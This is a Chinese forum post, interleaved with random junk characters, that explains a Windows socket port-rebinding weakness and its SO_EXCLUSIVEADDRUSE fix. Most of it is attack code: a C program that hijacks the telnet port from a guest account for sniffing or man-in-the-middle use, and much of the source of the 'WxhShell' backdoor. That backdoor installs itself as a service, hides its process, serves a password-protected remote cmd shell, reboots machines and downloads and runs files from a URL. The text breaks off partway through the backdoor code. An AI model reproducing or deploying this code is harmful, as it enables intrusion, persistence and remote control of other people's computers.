-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kJeOlO[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '*ICGKoT J o(}#_y? saddr.sin_family = AF_INET; =+=|{l?F Ng39D#_) saddr.sin_addr.s_addr = htonl(INADDR_ANY); +}0*_VW Tc(v\|F, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nW%=k!'' <r`Jn49 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EF=D}"E6pO RF2XJJ 这意味着什么?意味着可以进行如下的攻击: }3_G| *3
8Y;{ 4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2^ZPO4| I^Jp
)k*z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i@^`~vj *K.7Zf0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nJ})6/gK (g:W|hS
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 QGj5\{E_ .mrRv8>$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gpvj'Ri7V ;1k0o.3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lFV|GJ 0i`Zy! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F^G`Jf 76r
s)J[*w #include qWRMwvN{ #include G ]By_ #include F X2`p_ #include <!(n5y_ DWORD WINAPI ClientThread(LPVOID lpParam); &Q+V I/p int main() 9cj-v}5j { kP@OIhRe WORD wVersionRequested; |?=1tS{iT DWORD ret; ClZyQ=UAD WSADATA wsaData; G_mu7w BOOL val; =V
7w CW SOCKADDR_IN saddr; CW YJ<27v{ SOCKADDR_IN scaddr; .WE0T|qDX int err; ^v|!(h\ZC SOCKET s; 5c7a\J9> SOCKET sc; Bys|i 0tb- int caddsize; Sd6^%YB HANDLE mt; tb\pjLB][ DWORD tid; 7~f6j:{|z wVersionRequested = MAKEWORD( 2, 2 ); y-#tU>P err = WSAStartup( wVersionRequested, &wsaData ); r1atyK if ( err != 0 ) { b7j#a# printf("error!WSAStartup failed!\n"); j=S"KVp9NF return -1; -h`0v } nCB3d[/B saddr.sin_family = AF_INET; )D*xOajo+l cEu98nP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~A4WuA ]NsaFDi\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }2oJ saddr.sin_port = htons(23); v4aGL<SO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a$8?0`( { {rLOAewr printf("error!socket failed!\n"); {Aw3Itef return -1; mJ7kOQ-.$ } >.4Sx~VH2 val = TRUE; 6si-IJ //SO_REUSEADDR选项就是可以实现端口重绑定的 C\D4C]/8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V485Yn!$( { -',Y;0b% printf("error!setsockopt failed!\n"); /]&1 XT? return -1; 8t!"K_Mkx } Lp=B? H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B,T.bgp\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %C<eR_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #cb6~AH sNVD"M, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .*"IJD9 { [4yQ-L)]e ret=GetLastError(); -X
\vB printf("error!bind failed!\n"); ^(:Rbsl return -1; k$!&3Rh } 5H5Kt9DoW listen(s,2); dD%m=x while(1) p?@D' { :9Pqy
pd+ caddsize = sizeof(scaddr); jo~vOu //接受连接请求 W+X
zU"l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JnDR(s4(E if(sc!=INVALID_SOCKET) S\m]z e { +qec>ALAg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6"(&lK\^ if(mt==NULL) !k63`(Ti { J:a^'' printf("Thread Creat Failed!\n"); sJWwkR break; 76/%Py| } l-rnDl } (x@"Dp=MZW CloseHandle(mt); G'Y|MCKz> } tG-MC&;= closesocket(s); zqkmsFH{ WSACleanup(); 8ZDq
KQ1; return 0; ;o\wSHc } .^23qCs DWORD WINAPI ClientThread(LPVOID lpParam) sBwgl9 { )UJMmw\ SOCKET ss = (SOCKET)lpParam; ZSNg^)cN SOCKET sc; T$e_ao| unsigned char buf[4096]; Tp7?:YY| SOCKADDR_IN saddr; 'Vd>"ti long num; X)~-MY*p DWORD val;
o&zV8DE_v DWORD ret; YAog;QL //如果是隐藏端口应用的话,可以在此处加一些判断 uRIr,U^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ;b^@o,= saddr.sin_family = AF_INET; 7o<RvM saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Ju{6x(|
saddr.sin_port = htons(23); !`gg$9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2-4%h! { 0/Csc\Xl printf("error!socket failed!\n"); kL-+V)Kl return -1; OX"`VE } n!p&.Mt val = 100; Jj!T7f*-GX if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o,-@vp { -3fvO~ ret = GetLastError(); H4N==o return -1; h4/rw
fp^ } c1`o3gb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <Wd$6 { L`\ILJz ret = GetLastError(); R?W8l5CIk return -1; tua+R_" } xASjw? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XxIU B(.QI { 6Z$T&Ul{ printf("error!socket connect failed!\n"); 'BC-'Ot closesocket(sc); cH#`f4 closesocket(ss); UX?_IgJh<" return -1; (w.B_9# } 5XhV+t
g. while(1) @*oi1_q { $j:0*Z=> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
>4Lb+] //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,=mn* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j_}e%,} num = recv(ss,buf,4096,0); /4|qfF3 if(num>0) 0zd1:*KR, send(sc,buf,num,0); hi37p1t else if(num==0) *}?^)z7w break; R\<^A~(Gl num = recv(sc,buf,4096,0); {M=tw if(num>0) \^+sgg{ send(ss,buf,num,0);
I{E10; else if(num==0) (]ORB0kl break; {PfE7KH } os>|LPv4 closesocket(ss); n_aKciF closesocket(sc); htaB!Q?V return 0 ; ? 0%lB=qQ } w,\Ua&>4 "8-]6p3u ON=xn|b4 ========================================================== 6gp3n;D 4Ld0AApncy 下边附上一个代码,,WXhSHELL ,3^N_>d$W jtZ@`io ========================================================== q*
m%Fv w_9:gprf #include "stdafx.h" hX;xbl u~G,=n #include <stdio.h> 13B[mp4 #include <string.h> }C) #include <windows.h> }ulFW]A^7 #include <winsock2.h> Gs-' #include <winsvc.h> aeSXHd?+( #include <urlmon.h> r|&qXb x 9m<>G3Jr #pragma comment (lib, "Ws2_32.lib") MJK L4 G #pragma comment (lib, "urlmon.lib") eX}uZR JeiW
z1t #define MAX_USER 100 // 最大客户端连接数 BM:je(*p #define BUF_SOCK 200 // sock buffer
pO"V9[p] #define KEY_BUFF 255 // 输入 buffer KSLyU1W n2$*Z6.G #define REBOOT 0 // 重启 /VJ[1o^ #define SHUTDOWN 1 // 关机 R,tR{| 8 Nn%{Ka #define DEF_PORT 5000 // 监听端口 [
h%ci3 ]` 3;8, #define REG_LEN 16 // 注册表键长度 :U?Kwv8 s #define SVC_LEN 80 // NT服务名长度 r]2}S=[ Nk]r2^.z[ // 从dll定义API RM,r0Kv17Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U{HJNftdpm typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m\j'7mZ1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KbSIKj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w${=]h*2 ~GMlnA]6 // wxhshell配置信息 = eYrz@, struct WSCFG { 'kPShZS$b int ws_port; // 监听端口 7+@:wX\ char ws_passstr[REG_LEN]; // 口令 i9W@$I,f int ws_autoins; // 安装标记, 1=yes 0=no d&t|Y:,8 char ws_regname[REG_LEN]; // 注册表键名 _aq3G9C_ char ws_svcname[REG_LEN]; // 服务名 Vhv<w
O Ct char ws_svcdisp[SVC_LEN]; // 服务显示名 N3i}>Q)B char ws_svcdesc[SVC_LEN]; // 服务描述信息 u|APx8?"o char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7+=fD|Cl int ws_downexe; // 下载执行标记, 1=yes 0=no lY0^Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" #O qfyY! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8D)2/$NsY} #~ UG9@a }; 7>v1w:cC] r`VKb // default Wxhshell configuration _=8x?fC:rl struct WSCFG wscfg={DEF_PORT, vfm|?\ "xuhuanlingzhe", o|(-0mWBQA 1, Il>!C\hU "Wxhshell", Tw);`&Ulo "Wxhshell", cYq<.A(hVj "WxhShell Service", j;)U5X "Wrsky Windows CmdShell Service", 0k0y'1SL "Please Input Your Password: ", f_7a) 'V4 1, 8ZE{GX.m2c " http://www.wrsky.com/wxhshell.exe", 2/x+7F}w5 "Wxhshell.exe" (sz=IB ; }; H~e;S#3_v A#\NVN8sk // 消息定义模块 &AG,]# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $ohIdpZLH2 char *msg_ws_prompt="\n\r? for help\n\r#>"; a$l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; )E'iC char *msg_ws_ext="\n\rExit."; 4&2aJ_ 2y char *msg_ws_end="\n\rQuit."; AbC/ char *msg_ws_boot="\n\rReboot..."; wWQv]c% char *msg_ws_poff="\n\rShutdown..."; m\)z& hv<r char *msg_ws_down="\n\rSave to "; j
~:Dr eR4%4gW) char *msg_ws_err="\n\rErr!"; T& char *msg_ws_ok="\n\rOK!"; D9*GS_K2t 6Xu8~%i char ExeFile[MAX_PATH]; al.~[T-O+ int nUser = 0; pdX%TrM+[: HANDLE handles[MAX_USER]; PF+v[h;, int OsIsNt;
lU`]yL Po#;SG#Ee SERVICE_STATUS serviceStatus; ggR@& \ SERVICE_STATUS_HANDLE hServiceStatusHandle; T\55uQ W2e~!:w // 函数声明 yCy4t6`e int Install(void); v}q3_m] int Uninstall(void); (iXo\y`z int DownloadFile(char *sURL, SOCKET wsh); jO)UK.H# int Boot(int flag); AL74q[> void HideProc(void); hqd}L~o: int GetOsVer(void); %"Q{|} int Wxhshell(SOCKET wsl); 9=p^E# d void TalkWithClient(void *cs); eLXG _Qb" int CmdShell(SOCKET sock); I0trHrX9 int StartFromService(void); yJkERiJV int StartWxhshell(LPSTR lpCmdLine); .{%~4$yu7 Bvj-LT=) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n>T1KC% VOID WINAPI NTServiceHandler( DWORD fdwControl ); n8n(< !*_5 B' // 数据结构和表定义 P#m/b< SERVICE_TABLE_ENTRY DispatchTable[] = _-$O6eZ { :oh(M|;/2 {wscfg.ws_svcname, NTServiceMain}, l=G=J( G {NULL, NULL} *u^N_y }; /^v?Q9=Y GP6-5Y"8 // 自我安装 /*\pm!]._^ int Install(void) *&]x-p1m { VDq4n;p1 char svExeFile[MAX_PATH]; !4cO]wh5 HKEY key; oace!si strcpy(svExeFile,ExeFile); \,| Xz|?C ""Nu["|E // 如果是win9x系统,修改注册表设为自启动 8q*MhH>6I if(!OsIsNt) { SA@MJ>Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vX|ZPn# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SEsc"l8 RegCloseKey(key); ov>Rvy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZS[(r-)$F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (%*CfR:> RegCloseKey(key); ^c",!Lp}{ return 0; 7 \)OWp } <>\s#Jf/ } <8Y;9N|94! } 2(~Y ^_ else { z'N_9= ;O` \rP5w // 如果是NT以上系统,安装为系统服务 2K?~)q&t* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1d)wE4c=Z if (schSCManager!=0) S0?4}7`A { vpR^G`/ SC_HANDLE schService = CreateService -=_bXco} ( *PQu9>1w schSCManager, <X9 T}g wscfg.ws_svcname, Omy4Rkj8bh wscfg.ws_svcdisp, wcz|Zy SERVICE_ALL_ACCESS, :.5l9Ci4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X :2%U SERVICE_AUTO_START, =*EIe z*.x SERVICE_ERROR_NORMAL, ($a ?zJr svExeFile, :EOx>Pf_9) NULL, f4.k%| ] NULL, l!VPk"s NULL, 5)X;q- NULL, .Cv0Ze NULL 4u}"ng
); Kjbt1n if (schService!=0) yh9fHN)F { B&^WRM;7t CloseServiceHandle(schService); s|iph~W!L CloseServiceHandle(schSCManager); 566vjE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1 o<l;: strcat(svExeFile,wscfg.ws_svcname); Gok8:, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Z2E))UU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lZT9 SDtS RegCloseKey(key); jG($:>3a@ return 0; HSq.0vYl6 } ua$H"(#c } 8`bQ,E+2 CloseServiceHandle(schSCManager); Q`$Q(/ } gucd]VH } <~aQ_l ~ou1{NS return 1; k2>gnk0 } |ocIp/$ x!\FB.h4!( // 自我卸载 4%l
@ int Uninstall(void) Z4S0{:XY { rEI]{?eoF HKEY key; k+k&}8e e&&;"^@- if(!OsIsNt) { EJqzh
i5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )h(Dt(2Wm RegDeleteValue(key,wscfg.ws_regname); p#vZYwe=L RegCloseKey(key); KX*Hev'K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;K[ G]8 RegDeleteValue(key,wscfg.ws_regname); }z/;^`` RegCloseKey(key); T';<;6J** return 0; RusC5\BUX } ]7WBoC8 } gI^);JrTE } QusEWq)}< else { TmS;ybsG e'<pw^I\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); by*>w/@9)k if (schSCManager!=0) DJl06-s V { N*t91 X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .K![<eZ if (schService!=0) wv,,#P { 5ug?'TOj' if(DeleteService(schService)!=0) { Ks&~VU CloseServiceHandle(schService); 33d86H%; CloseServiceHandle(schSCManager); U\S%Jq* return 0; 8kZ~ } a,Gd\.D CloseServiceHandle(schService); O[RmQ8ll } G9\Bi-'ul CloseServiceHandle(schSCManager);
VQHJO I } 9kPwUAw } Oq{&hH/'} K?')#%Z/{# return 1; hq9b } 2G"mm( =YX/]g|9K // 从指定url下载文件 db"FC3/H int DownloadFile(char *sURL, SOCKET wsh)
?{#P.2 { *AXu_^^ HRESULT hr; dN>XZv char seps[]= "/"; ZTG*| char *token; 8VvoPlo char *file; bo&!oY# char myURL[MAX_PATH]; hCO*gtA)M char myFILE[MAX_PATH]; 8k'UEf`'( J'.:l} g!1 strcpy(myURL,sURL); |u)?h]> token=strtok(myURL,seps); W|=?- while(token!=NULL) Tgp}k%R~ { U{D ?1tF file=token; L@?Dmn'v token=strtok(NULL,seps); LBtVK, ? } ]sO}) !@-j!Ub GetCurrentDirectory(MAX_PATH,myFILE); >]"5K<-1 strcat(myFILE, "\\"); Ns9cx strcat(myFILE, file); [ (tgoh/ send(wsh,myFILE,strlen(myFILE),0); Y',s|M1})\ send(wsh,"...",3,0); +SM $# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3y> .1 if(hr==S_OK) s)yEVh return 0; D_O%[u} else '9GHmtdO, return 1; ,oDZ:";
^BjwPh4Z# } EA75
D&>I 6KhHS@Z // 系统电源模块 J),7ukLu^ int Boot(int flag) {Cs~5jYz { uW4G!Kw28 HANDLE hToken; iAf, :g TOKEN_PRIVILEGES tkp; `e~/ XPzwT2_E if(OsIsNt) { r0QjCFSF= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,e>C)wq; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X=(8t2 tkp.PrivilegeCount = 1; $${ebt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U_!"&O5lr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]V]~I. if(flag==REBOOT) { ?C.C?h6F5B if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0"u*K n return 0; 9R>A,x( } ]*juF[r( else { OjMDxG
w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sijwh1j*V return 0; ..<(HH2 } AyNl,Xyc4 } /c/!13| else { `Lm
ArW: if(flag==REBOOT) { lhQ*;dMj%" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) peGXU/5.I return 0; $q.8ve0&^ } E3,Z(dpX! else { 0g]ABzTn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sPkT>q return 0; *KxV;H8/ } ]t0?,q.$7 } JEY%(UR8 `{F8# return 1; Ow//#: } 1P8$z:|~ "793R^Tz // win9x进程隐藏模块 _sZ/tU@_-K void HideProc(void) zCO5`%14 { uT]_pKm +tfmBZl^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S)g5Tu) if ( hKernel != NULL ) F\-qXSA { p4{?Rhb6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =*Wl;PI' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nkN]z
^j FreeLibrary(hKernel); 22tY%Y9 } *XtZ;os] 9Od
Kh\F ( return; E6)FYz7x } Ta/G .vpQ3m> // 获取操作系统版本 |r0j>F int GetOsVer(void) gvA&F|4 { 1+#Vj# OSVERSIONINFO winfo; 0C3Yina9
* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )E6m}? H5 GetVersionEx(&winfo); V7rcnk# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8VMq>- return 1; 2vj)3%:7#E else wy) Frg return 0; & rw|fF|] } IHxX:a/iv /jj}.X7yH // 客户端句柄模块 BvX!n"QIb int Wxhshell(SOCKET wsl) |":^3 { 7;|6g8= SOCKET wsh; l[\[)X3$ struct sockaddr_in client; |_O; U=2 DWORD myID; {Qw,L;R t~U:{g~ while(nUser<MAX_USER) _V8pDcY { 7z%zXDe~T[ int nSize=sizeof(client); 3)Paf`mr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EWqKd/ if(wsh==INVALID_SOCKET) return 1; yRvq3>mU .`)ICX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t}'Oh}CG if(handles[nUser]==0) %f{kT<XHu closesocket(wsh); /6 P()Upe else Q3oVl^q nUser++; %X[|7D- } S4?ssI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~"=nt@M] 6"A|)fz return 0; A E7>jkHB } dnNc,l&g v5<Ext
rV // 关闭 socket IL>Gi`Y& void CloseIt(SOCKET wsh) IOIGLtB
{ ;'vY^I8-L closesocket(wsh); l|N1u=Z nUser--; urog.Q ExitThread(0); 7 v`Y*D } fMLm_5 (H &1B)mj // 客户端请求句柄 x%x[5.CT void TalkWithClient(void *cs) EW]gG@w]5r { bLNQ%=FjO &:{|nDT_2 SOCKET wsh=(SOCKET)cs; ^QFjBQ-Hai char pwd[SVC_LEN]; k87B+0QEL char cmd[KEY_BUFF]; o.k#|q char chr[1]; V?5_J% int i,j; (6JD<pBm L2K4nTA while (nUser < MAX_USER) { `9$?g|rB B>~E6j7[Mp if(wscfg.ws_passstr) { .GS|H d if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =ohdL_6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E[_Z%zd^ //ZeroMemory(pwd,KEY_BUFF); T]E$H, p i=0; ]`:Fj|> while(i<SVC_LEN) { t/q\Ne\\, wmT3 > // 设置超时 9prG@ fd_set FdRead; L@[bgN`=v struct timeval TimeOut; B`KpaE] FD_ZERO(&FdRead); 7 H<_
wW FD_SET(wsh,&FdRead); Dy8Go4 TimeOut.tv_sec=8; !)&-\!M> TimeOut.tv_usec=0; LU%g>?m.] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d5WE^H)E. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eH1Y!&` ZY][LU~l8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ExnszFX* pwd =chr[0]; 3HfT9 if(chr[0]==0xd || chr[0]==0xa) { ;N4mR6 pwd=0; 2f~s$I&l# break; KXdls(ROP } $x`U)pv i++; geT<vh Z6 } `d8$OC 57r\s8 // 如果是非法用户,关闭 socket _39b8s{ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =8<SKY&\X } _s=[z$EN& SUvHLOA send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]aaHb send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6:h!gY a:P%
r while(1) { 7AtJ6 =P2T&Gb ZeroMemory(cmd,KEY_BUFF); /S|Pq!4< _u.l|yR // 自动支持客户端 telnet标准 lYq
R6^ j=0; iaPY>EP1 while(j<KEY_BUFF) { 9fe~Q%x=u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VpJ2Qpd= cmd[j]=chr[0]; L18Olu if(chr[0]==0xa || chr[0]==0xd) { R=PjLH&) cmd[j]=0; m2\ZnC break; Aja'`Mu } Na[bCt j++; !f"@pR6 } |ukEnjI`u >5XE*9 // 下载文件 |ss_< if(strstr(cmd,"http://")) { oBIKtS*L send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;l~gA |A if(DownloadFile(cmd,wsh)) |%TH|?kB send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'p{>zQ\5 else Q%KS$nP9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 80 p7+W2m } !9V_U else { -S9$C*t GndF!#?N( switch(cmd[0]) { 6i>xCb +vZ-o{}.jO // 帮助 ?$8OVq.w, case '?': { Ue~M.LZb send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]LNP"vi; break; &K|CH?
D } uvZ|6cM // 安装 "TG}aS case 'i': { R%54!f0
% if(Install()) zq(AN< send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQs(Dh=* else 6?(*:}Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z>M0[DJ_ break; F&I^bkvh } P(qUx9 // 卸载 -*+7-9A I case 'r': { {n2jAR9nq if(Uninstall()) Z*x Q"+\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1;g>?18@ else LB U]^t@ M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =d& break; yj"+!g } zTm&m#){3A // 显示 wxhshell 所在路径 *|ubH?71%Y case 'p': { q9F(8-J
char svExeFile[MAX_PATH]; Ws.F=kS>h strcpy(svExeFile,"\n\r"); #!C/~"Y*`| strcat(svExeFile,ExeFile); WXaLKiA*( send(wsh,svExeFile,strlen(svExeFile),0); S'vrO}yU break; O~l WFaW } gQ/-.1Pz$ // 重启 `A3"*,|z case 'b': { *)H?d send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ftu4 V*lD if(Boot(REBOOT)) 7_ZfV? . send(wsh,msg_ws_err,strlen(msg_ws_err),0); 68W&qzw.[r else { )lBke*j~ closesocket(wsh); 0,E*9y} ExitThread(0); j[
kg9z } #-Ehg4W break; z3[
J> } rp{q.fy'U // 关机 MCjf$pZN] case 'd': { MXq+aS{ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <`+U B<K if(Boot(SHUTDOWN)) G?#f@N0.5p send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^fQ ]>/u else { 1#gveHm]-G closesocket(wsh); v#8{pr ExitThread(0); Q+$+{g-8 } -}AAA*P break; PsjSL8] } S bc // 获取shell ,Hlbl}.ls case 's': { 2I3MV:5 CmdShell(wsh); @6~r7/WD closesocket(wsh); j(AN]g: ExitThread(0); ]N!8U_U3 break; < HlS0J9 } (J
I4ibP // 退出 )*}2L_5] case 'x': { Y@)/iwq send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V^sZXdDNL CloseIt(wsh); e*{'A break; jNd."[IrO } __dSEOGoe // 离开 FZf{kWH case 'q': { =4+Wx8ZeW send(wsh,msg_ws_end,strlen(msg_ws_end),0); O10,h(O closesocket(wsh); 2uujA*
^ WSACleanup(); (v+nn1, exit(1); DyhW_PH2J break; xn|M]E1) } Osz:23(p } r{R879 } O~D>F*_^j fhp\of/@
R // 提示信息 }22h)){n#Y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *|n-Hr } }ADdKK- } O1]L4V1iH n sW# return; H%y!lR{c^D } Y=0D[o8 \zOo[/-< // shell模块句柄 O\0]o! int CmdShell(SOCKET sock) Cb:}AQ = { LkvR]^u0 STARTUPINFO si; "]H_;:{f ZeroMemory(&si,sizeof(si)); 9vX~gh{]~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5jMI33D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qrdA4S PROCESS_INFORMATION ProcessInfo; [9N>*dKB char cmdline[]="cmd"; at<N?r CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )w/ #T return 0; hJ|zX } _TLB1T^/4 u_31Db< // 自身启动模式 #POVu|Y;h int StartFromService(void) ^UJB%l { #^FDG1= typedef struct '\g-z { T- ~l2u|s DWORD ExitStatus; #M/^n0E DWORD PebBaseAddress; ?F=^&
v8 DWORD AffinityMask; )SjhOvm DWORD BasePriority; kfc5ra>& ULONG UniqueProcessId; Ij w{g% ULONG InheritedFromUniqueProcessId; [T}Lq~ } PROCESS_BASIC_INFORMATION; ~(v7:? =5l20
